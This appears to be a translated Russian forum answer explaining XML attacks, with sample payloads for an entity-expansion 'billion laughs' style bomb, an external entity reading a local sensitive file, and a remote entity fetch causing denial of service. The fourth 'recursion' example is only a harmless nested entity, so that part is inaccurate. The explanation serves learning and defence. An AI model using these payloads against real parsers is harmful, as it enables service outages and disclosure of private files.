Сначала мы должны отличить эффект атаки от функции , которая используется.
Особенности XML, которые можно использовать:
- Сущности XML
- Собственное расширение синтаксического анализатора и валидатора
- Циклические / рекурсивные ссылки
- Удаленный доступ
Эффекты могут быть либо
Я не думаю, что есть точное определение "бомбы", но это относится к атаке, которая является особенно "компактной" и которая "расширяется". «Атака принудительного синтаксического анализа» использует природу модели XML для подавления синтаксического анализатора.
Приведенные ниже примеры взяты из Атаки и защиты в виде отказа в обслуживании XML .
Также, если вы понимаете по-французски, прочитайте отличный журнал " La security des web services ".
Пример 1
Бомба, использующая объекты, которые приводят к DOS, потому что она исчерпывает память
<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
Если у вас 50'000 "аааа ... ааа" и 50'0000 &a:&a;...&a;
, полезная нагрузка 200 КБ увеличивается до 2 ГБ в памяти
Пример 2
Объект может быть использован для доступа к другому файлу неавторизованным способом. Это приводит к раскрытию информации.
<?xml version="1.0"?>
<!DOCTYPE letter [
<!ENTITY file SYSTEM "/sensitive.txt" >
]>
<tag> &file; </tag>
Пример 3
Используя возможность определенного парсера для доступа к удаленным ресурсам (см. http://www.ibm.com/developerworks/xml/library/x-tipgentity.html),, теперь давайте разберемся, что произойдет, если файл bigfile.xml
равен 2 ГБ. Это, вероятно, приведет к DOS.
<?xml version="1.0"?>
<!DOCTYPE letter [
<!ENTITY file SYSTEM "http://www.mysite.com/bigfile.xml" >
]>
<tag> &file; </tag>
Пример 4
Эта рекурсия приведет к исчерпанию памяти и, возможно, к DOS.
<!ENTITY companyname "Contoso Inc.">
<!ENTITY divisionname "&companyname; Web Products Division">
Если это школьная работа, то вам также следует подумать о том, как вы можете защитить от такой атаки.